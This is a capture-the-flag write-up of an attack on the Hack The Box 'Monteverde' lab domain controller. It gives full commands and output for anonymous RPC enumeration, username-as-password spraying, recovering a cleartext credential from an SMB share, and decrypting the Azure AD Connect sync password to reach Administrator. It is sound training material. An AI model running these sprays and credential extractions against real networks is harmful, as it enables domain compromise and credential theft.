
Monteverde: Azure AD Connect to Domain Admin
Hack The Box write-up for the Monteverde machine. Anonymous RPC user enumeration feeds a username-as-password spray, a service account exposes a stored Azure credential over SMB, and Azure AD Connect credential extraction hands over the on-prem Administrator.
Port Scanning
The assessment began with an nmap scan using service version detection (-sV), host discovery disabled (-Pn), and aggressive timing (-T4) against 10.129.228.111.
$ nmap -sV -Pn -T4 10.129.228.111
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-05 00:38 -0300
Nmap scan report for MEGABANK.LOCAL (10.129.228.111)
Host is up (0.20s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-09-05 03:38:49Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
A textbook Active Directory Domain Controller profile: DNS (53), Kerberos (88), RPC (135), SMB (139/445), LDAP (389/3268), and WinRM on port 5985. There is no HTTP front-end this time, so the web angle is off the table and everything will have to come out of the AD services themselves. The LDAP banners confirm the domain is MEGABANK.LOCAL and the hostname is MONTEVERDE.
Domain and hostname were added to /etc/hosts:
10.129.228.111 MEGABANK.LOCAL MONTEVERDE.MEGABANK.LOCAL
SMB Enumeration
First check was whether the DC would talk over anonymous SMB. A null session is accepted (Null Auth: True), but share enumeration is denied and the guest account is disabled:
$ nxc smb 10.129.228.111 -u '' -p '' --shares
SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\:
SMB 10.129.228.111 445 MONTEVERDE [-] Error enumerating shares: STATUS_ACCESS_DENIED
$ nxc smb 10.129.228.111 -u 'guest' -p '' --shares
SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\guest: STATUS_ACCOUNT_DISABLED
Null SMB is a dead end for shares, but the null bind being accepted at all is a good sign since RPC and LDAP often lean on the same permissive configuration.
DNS Enumeration
A zone transfer attempt against the domain returned REFUSED, so no extra DNS records:
$ host -t axfr MEGABANK.LOCAL 10.129.228.111
Trying "MEGABANK.LOCAL"
Using domain server:
Name: 10.129.228.111
Address: 10.129.228.111#53
Aliases:
Host MEGABANK.LOCAL not found: 5(REFUSED)
; Transfer failed.
Nothing here. Moving on to RPC.
RPC Enumeration
Where SMB shares were locked down, anonymous rpcclient was not. enumdomusers returned the full domain user list without credentials:
$ rpcclient -U '' -N 10.129.228.111
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]
Two names stand out immediately. AAD_987d7f2f57d2 is the naming convention for an Azure AD Connect synchronization service account, and its account description confirms it outright:
rpcclient $> querydispinfo
index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2 Name: AAD_987d7f2f57d2 Desc: Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos Name: Dimitris Galanos Desc: (null)
index: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope Name: Mike Hope Desc: (null)
index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary Name: Ray O'Leary Desc: (null)
index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs Name: SABatchJobs Desc: (null)
That is a strong hint about the eventual privilege escalation path since Azure AD Connect is installed on this host, but a foothold is needed first. The group listing also flags the target for later:
rpcclient $> enumdomgroups
...
group:[Azure Admins] rid:[0xa29]
group:[File Server Admins] rid:[0xa2e]
group:[Call Recording Admins] rid:[0xa2f]
group:[Reception] rid:[0xa30]
group:[Operations] rid:[0xa31]
group:[Trading] rid:[0xa32]
group:[HelpDesk] rid:[0xa33]
group:[Developers] rid:[0xa34]
Azure Admins is a non-default group and, given the AAD sync account, almost certainly the group that matters. The password policy is also worth a glance before spraying anything: a 7-character minimum with no complexity flags set.
rpcclient $> getdompwinfo
min_password_length: 7
password_properties: 0x00000000
LDAP Enumeration
The same permissive null bind works over LDAP, so I pulled users and groups with netexec to cross-check the RPC output:
$ nxc ldap 10.129.228.111 -u '' -p '' --password-not-required --admin-count --users --groups
LDAP 10.129.228.111 389 MONTEVERDE [+] MEGABANK.LOCAL\:
LDAP 10.129.228.111 389 MONTEVERDE -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.228.111 389 MONTEVERDE Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 10.129.228.111 389 MONTEVERDE AAD_987d7f2f57d2 2020-01-02 19:53:24 0 Service account for the Synchronization Service ...
LDAP 10.129.228.111 389 MONTEVERDE mhope 2020-01-02 20:40:05 0
LDAP 10.129.228.111 389 MONTEVERDE SABatchJobs 2020-01-03 09:48:46 0
LDAP 10.129.228.111 389 MONTEVERDE svc-ata 2020-01-03 09:58:31 0
LDAP 10.129.228.111 389 MONTEVERDE svc-bexec 2020-01-03 09:59:55 0
LDAP 10.129.228.111 389 MONTEVERDE svc-netapp 2020-01-03 10:01:42 0
LDAP 10.129.228.111 389 MONTEVERDE dgalanos 2020-01-03 10:06:10 0
LDAP 10.129.228.111 389 MONTEVERDE roleary 2020-01-03 10:08:05 0
LDAP 10.129.228.111 389 MONTEVERDE smorgan 2020-01-03 10:09:21 0
LDAP 10.129.228.111 389 MONTEVERDE Azure Admins 3
The Azure Admins group has 3 members. That is now three separate signals pointing at the same escalation vector: the AAD service account, the group, and the sync service description, but all of it is useless without valid credentials.
I saved the confirmed accounts to users.txt for the next stage:
smorgan
roleary
dgalanos
svc-netapp
svc-bexec
svc-ata
SABatchJobs
mhope
AAD_987d7f2f57d2
Guest
AS-REP Roasting
With a user list in hand, the first cheap thing to try is AS-REP roasting: any account with Kerberos pre-authentication disabled will hand out a crackable AS-REP without credentials. impacket-GetNPUsers came back empty, none of the accounts have UF_DONT_REQUIRE_PREAUTH set, and the run terminates on KDC_ERR_CLIENT_REVOKED when it reaches the disabled Guest account:
$ impacket-GetNPUsers MEGABANK.LOCAL/ -usersfile users.txt -dc-ip 10.129.228.111
[-] User smorgan doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User roleary doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User dgalanos doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-netapp doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-bexec doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-ata doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User SABatchJobs doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mhope doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User AAD_987d7f2f57d2 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
No roastable accounts. On to spraying.
Password Spraying
With a weak password policy (7 chars, no complexity) and a set of service accounts, the classic first guess is that a password equals the username. netexec can test exactly that with --no-brute, which pairs each username with the password on the same line rather than doing a full cross-product. Feeding users.txt as both the user list and the password list checks username == password for every account in one pass:
$ nxc smb 10.129.228.111 -u users.txt -p users.txt --no-brute
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:smorgan STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:roleary STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:dgalanos STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:svc-netapp STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:svc-bexec STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:svc-ata STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SABatchJobs reuses its own name as a password. First valid credentials: SABatchJobs / SABatchJobs.
Kerberoasting
Before pivoting to shares, I checked whether the new credentials could Kerberoast any SPN-bearing accounts. impacket-GetUserSPNs found nothing:
$ impacket-GetUserSPNs MEGABANK.LOCAL/SABatchJobs:SABatchJobs -dc-ip 10.129.228.111
No entries found!
No service accounts with SPNs registered. That path is closed too.
Domain Enumeration with SABatchJobs
BloodHound
With authenticated access I collected the domain for BloodHound to check for any ACL-based paths off SABatchJobs:
$ bloodhound-python -d MEGABANK.LOCAL -u 'SABatchJobs' -p 'SABatchJobs' -ns 10.129.228.111 -c all
INFO: Found AD domain: megabank.local
INFO: Found 1 computers
INFO: Found 13 users
INFO: Found 65 groups
INFO: Found 2 gpos
INFO: Found 9 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Done in 00M 32S
Nothing actionable from SABatchJobs in the graph. The account's value turns out to be plain read access to shares, not any directory right.
SMB Shares
Re-running the share enumeration authenticated shows a lot more than the null session did:
$ nxc smb 10.129.228.111 -u 'SABatchJobs' -p 'SABatchJobs' --shares
SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB 10.129.228.111 445 MONTEVERDE Share Permissions Remark
SMB 10.129.228.111 445 MONTEVERDE ----- ----------- ------
SMB 10.129.228.111 445 MONTEVERDE ADMIN$ Remote Admin
SMB 10.129.228.111 445 MONTEVERDE azure_uploads READ
SMB 10.129.228.111 445 MONTEVERDE C$ Default share
SMB 10.129.228.111 445 MONTEVERDE E$ Default share
SMB 10.129.228.111 445 MONTEVERDE IPC$ READ Remote IPC
SMB 10.129.228.111 445 MONTEVERDE NETLOGON READ Logon server share
SMB 10.129.228.111 445 MONTEVERDE SYSVOL READ Logon server share
SMB 10.129.228.111 445 MONTEVERDE users$ READ
Two non-default shares are readable: azure_uploads and users$. The users$ share exposes per-user home directories.
Credential in users$
Browsing users$ with smbclient, each employee has a folder. mhope's directory contains an azure.xml:
$ smbclient \\\\MEGABANK.LOCAL\\users$ -U 'SABatchJobs'
Password for [WORKGROUP\SABatchJobs]:
smb: \> ls
dgalanos D 0 Fri Jan 3 10:12:30 2020
mhope D 0 Fri Jan 3 10:41:18 2020
roleary D 0 Fri Jan 3 10:10:30 2020
smorgan D 0 Fri Jan 3 10:10:24 2020
smb: \> cd mhope
smb: \mhope\> ls
azure.xml AR 1212 Fri Jan 3 10:40:23 2020
smb: \mhope\> get azure.xml
getting file \mhope\azure.xml of size 1212 as azure.xml
The file is a serialized PowerShell PSADPasswordCredential object, and it carries a cleartext password:
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
<T>System.Object</T>
</TN>
<Props>
<DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
<DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
<G N="KeyId">00000000-0000-0000-0000-000000000000</G>
<S N="Password">4n0therD4y@n0th3r$</S>
</Props>
</Obj>
</Objs>
Recovered password: 4n0therD4y@n0th3r$. The filename and the object type both suggest it belongs to mhope, but the safe move is to spray it across the whole user list rather than assume.
Spraying the Recovered Credential
Spraying the recovered password against users.txt confirms it belongs to a single account:
$ nxc smb 10.129.228.111 -u users.txt -p '4n0therD4y@n0th3r$'
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$
mhope / 4n0therD4y@n0th3r$. This is the same mhope whose home directory leaked the file, and the credential was sitting in the account's own folder.
Initial Access via WinRM
mhope is a member of Remote Management Users and WinRM is exposed on 5985, so I connected with evil-winrm:
$ evil-winrm -i MEGABANK.LOCAL -u 'mhope' -p '4n0therD4y@n0th3r$'
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mhope\Documents>
Shell obtained as mhope.
User Flag
*Evil-WinRM* PS C:\Users\mhope\Desktop> cat user.txt
d928782e5a1c8f47ee8b1fbd12e7a866
Privilege Escalation via Azure AD Connect
Enumerating the Security Context
The privilege set for mhope is bare, nothing to chain directly:
*Evil-WinRM* PS C:\Users\mhope\Desktop> whoami /priv
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
The group membership is where it gets interesting. mhope is a member of Azure Admins, exactly the group flagged during enumeration:
*Evil-WinRM* PS C:\Users\mhope\Desktop> whoami /all
...
GROUP INFORMATION
-----------------
Group Name Type SID
=========================================== ====== ============================================
MEGABANK\Azure Admins Group S-1-5-21-391775091-850290835-3566037492-2601
And the home directory confirms Azure AD Connect is present and configured for this user:
*Evil-WinRM* PS C:\Users\mhope> dir
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/4/2026 10:39 PM .Azure
d-r--- 1/3/2020 5:47 AM Desktop
...
How the Attack Works
Azure AD Connect synchronizes on-prem Active Directory with Azure AD. To do that it authenticates back to the on-prem directory using a highly privileged account, in this case the on-prem Administrator. Those credentials are stored, encrypted, in the local ADSync database (a SQL Server LocalDB instance). The catch is that everything needed to reverse the encryption (the keyset ID, instance ID, and entropy) lives in the same database, and the decryption is done client-side through mcrypt.dll. Any account that can read the ADSync database can therefore recover the sync account's cleartext password. Adam Chester's writeup documents the full technique; CyberVaca's Azure-ADConnect.ps1 from PsCabesha-tools packages it into a single function.
The script reads the key material and the encrypted config out of mms_server_configuration and mms_management_agent, loads the key set via the KeyManager from mcrypt.dll, decrypts the blob, and parses the domain, username, and password out of the resulting XML:
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
...
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
...
add-type -path "C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll"
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
...
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
Extracting the Credentials
I imported the script and ran it against the local ADSync database:
*Evil-WinRM* PS C:\Users\mhope\Documents> import-module .\Azure-ADConnect.ps1
*Evil-WinRM* PS C:\Users\mhope\Documents> Azure-ADConnect -server 127.0.0.1 -db ADSync
[+] Domain: MEGABANK.LOCAL
[+] Username: administrator
[+]Password: d0m@in4dminyeah!
The sync account is the on-prem Administrator, and its password comes back in cleartext: d0m@in4dminyeah!.
Pivoting to Administrator
The recovered credentials authenticate straight over WinRM:
$ evil-winrm -i MEGABANK.LOCAL -u 'Administrator' -p 'd0m@in4dminyeah!'
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
megabank\administrator
Root Flag
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
93c90ee0794da0f336e0b3f8a5513581
Both flags retrieved, confirming full compromise of the domain controller. The chain was entirely misconfiguration-driven: anonymous RPC leaked the full user list, a service account reused its own name as a password, an Azure credential was left in a readable home directory, and Azure AD Connect stored the on-prem Administrator password in a database its own admin group could decrypt. The AS-REP roasting and Kerberoasting attempts along the way both came up empty, worth trying because they cost nothing, but neither was the intended path.
References
-
XPN: Azure AD Connect for Red Teamers. Original research on extracting the Azure AD Connect sync account credentials from the local ADSync database.
-
PsCabesha-tools: Azure-ADConnect.ps1. CyberVaca's PowerShell implementation of the Azure AD Connect credential extraction used for the privilege escalation.
-
Microsoft: What is Azure AD Connect. Background on the synchronization service and the privileged on-prem account it stores.
-
The Hacker Recipes: Password Spraying. Reference on spraying weak/reused credentials against a domain, including username-as-password.
-
NetExec. Tool used for SMB/LDAP enumeration and the credential sprays.
-
Impacket. GetNPUsers and GetUserSPNs, used for the AS-REP roasting and Kerberoasting attempts.
-
Evil-WinRM. WinRM shell used for initial access as
mhopeand for the final logon as Administrator.